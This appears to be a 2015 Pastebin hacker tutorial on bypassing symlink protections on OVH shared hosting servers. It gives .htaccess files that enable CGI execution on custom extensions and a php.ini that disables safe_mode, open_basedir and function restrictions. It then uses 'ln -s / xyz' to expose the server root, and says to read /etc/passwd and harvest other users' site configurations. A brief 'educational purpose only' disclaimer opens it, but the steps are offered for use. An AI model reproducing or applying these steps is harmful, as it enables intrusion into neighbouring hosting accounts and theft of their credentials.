Kyfx

Symlink Bypass in OVH Server

Aug 10th, 2015
703
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.55 KB | None | 0 0
  1. THIS IS FOR EDUCATIONAL PURPOSE ONLY, I AM NOT RESPONSIBLE FOR ANY ILLEGAL ACTIVITIES DONE BY VISITORS, THIS IS FOR ETHICAL PURPOSE ONLY
  2.  
  3.  
  4. Hello everybody , today i'm going to explain how to bypass symlink in ovh server, well most of hackers find problem in ovh when trying to symlink the server ! this method was found by Mauritania Attacker and it's still private , but i decided it to publish it in public.
  5.  
  6.  
  7. First you gonna create a dir call it what you want example "abc" then create a '.htaccess" file in the folder "abc"
  8.  
  9.  
  10. CODE:
  11. Code:
  12. Options FollowSymLinks MultiViews Indexes ExecCGI
  13.  
  14. AddType application/x-httpd-cgi .lnx
  15.  
  16. AddHandler cgi-script .lnx
  17. AddHandler cgi-script .lnx
  18.  
  19.  
  20. Secondly we gonna create a second folder we call it example "xyz" we also make an ".htaccess" file
  21.  
  22. CODE:
  23. Code:
  24. #Developed by Mauri
  25. Options +FollowSymLinks
  26. DirectoryIndex Index.html
  27. Options +Indexes
  28.  
  29. AddType text/plain .php
  30. AddHandler server-parsed .php
  31.  
  32. AddType root .root
  33. AddHandler cgi-script .root
  34. AddHandler cgi-script .root
  35.  
  36.  
  37. Then we create also in the folder "xyz" a file called "php.ini"
  38.  
  39.  
  40. CODE:
  41. Code:
  42. safe_mode = Off
  43. disable_functions =
  44. safe_mode_gid = Off
  45. open_basedir = Off
  46. register_globals = on
  47. exec = On
  48. shell_exec = On
  49.  
  50. so here we come to the last part !
  51.  
  52. we gonna retrieve the configs by typing the following command :
  53.  
  54. ln -s / xyz
  55.  
  56. Here we go we have succesfully retrieved the root path , so now to find the configs , we can upload a perl file in "xyz" and paste the users of the server "etc/passwd"
  57. and the rest is very basic.
Advertisement
Add Comment
Please, Sign In to add comment